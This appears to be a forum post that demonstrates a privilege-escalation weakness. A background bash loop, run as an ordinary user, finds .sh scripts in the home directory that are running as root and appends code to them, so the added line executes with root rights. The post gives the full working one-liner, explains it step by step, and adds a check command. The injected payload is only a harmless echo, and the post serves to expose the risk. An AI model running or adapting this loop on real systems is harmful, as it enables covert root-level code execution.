- This is the kind of on the fly edit I'm worried about: while true; do DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" | awk '{ print $4 "\t" $1 }' | awk '{ print $2 " " }'); UserScriptsRunningAsRoot=$(for i in ${DotShProcessList}; do lsof -p $i; done | grep -E ".*root.*cwd" | awk '{ print $2 "" }'); ScriptFiles=$(for i in ${UserScriptsRunningAsRoot}; do ps -e | grep $i | awk '{ print $4 }' | find ~ -name $(cat); done); if [[ ! -z "$ScriptFiles" ]]; then echo "${ScriptFiles}" | while IFS= read -r i; do if [[ -z $(tail -n 1 $i | grep "exit") ]]; then echo "if [[ \$(whoami) == \"root\" ]]; then echo \"I could do damage here completely unnoticed as \$(whoami) >:)\"; exit 0; fi" >> $i; fi; done; fi; sleep 0.5; done& Breakdown: - Looks for list of PIDs started by the user, whether it's started in terminal or command line, and saves them into $DotShProcessList DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" | awk '{ print $4 "\t" $1 }' | awk '{ print $2 " " }'); - Takes $DotShProcessList and filters out those that don't have root access. Those that do are saved into $UserScriptsRunningAsRoot UserScriptsRunningAsRoot=$(for i in ${DotShProcessList}; do lsof -p $i; done | grep -E ".*root.*cwd" | awk '{ print $2 "" }'); - Searches for file names of $UserScriptsRunningAsRoot processes in /home/$USER (aka ~) and save it to $ScriptFiles ScriptFiles=$(for i in ${UserScriptsRunningAsRoot}; do ps -e | grep $i | awk '{ print $4 }' | find ~ -name $(cat); done); - If the file list isn't empty then loop through it line by line, and if the file does not contain "exit" a the last line, append a potentially dangerous line to it. if [[ ! -z "$ScriptFiles" ]]; then echo "${ScriptFiles}" | while IFS= read -r i; do if [[ -z $(tail -n 1 $i | grep "exit") ]]; then echo "if [[ \$(whoami) == \"root\" ]]; then echo \"I could do damage here completely unnoticed as \$(whoami) >:)\"; exit 0; fi" >> $i; fi; done; fi; - The whole thing is put in an infinite loop, and forked to background with a sleep 0.5 so it executes periodically, as normal user, and watches for a user launched script that runs as root. (any script with .sh at the end located in /home/$USER.) Once a loop like this is running in the background without any privileges, it's enough to execute an install.sh script that must run as root and takes a few seconds to finish or stops for a prompt (long enough to be detected and edited by the background process), anywhre within /home/$USER and you're screwed. This makes it difficult to trust a script even if I wrote it, and know what it supposed to do, or to run a script as root to test things! - This is just a demo of the vulnerability so this is the potentially dangerous line it injects: if [[ $(whoami) == "root" ]]; then echo "I could do damage here completely unnoticed as $(whoami) >:)"; exit 0; fi - The exit 0 in it will also prevent it from injecting it twice... - If you want to run it, use this as a precaution to check for running scripts you don't want it to edit... (Uses the first 2 steps of the above script to print .sh processes to the terminal started by user running as root) DotShProcessList=$(ps -e | grep "\.sh$" | grep -E "tty|pts" | awk '{ print $4 "\t" $1 }' | awk '{ print $2 " " }') && UserScriptsRunningAsRoot=$(for i in ${DotShProcessList}; do lsof -p $i; done | grep -E ".*root.*cwd" | awk '{ print $2 "" }') && for i in ${UserScriptsRunningAsRoot}; do ps -e | grep $i; done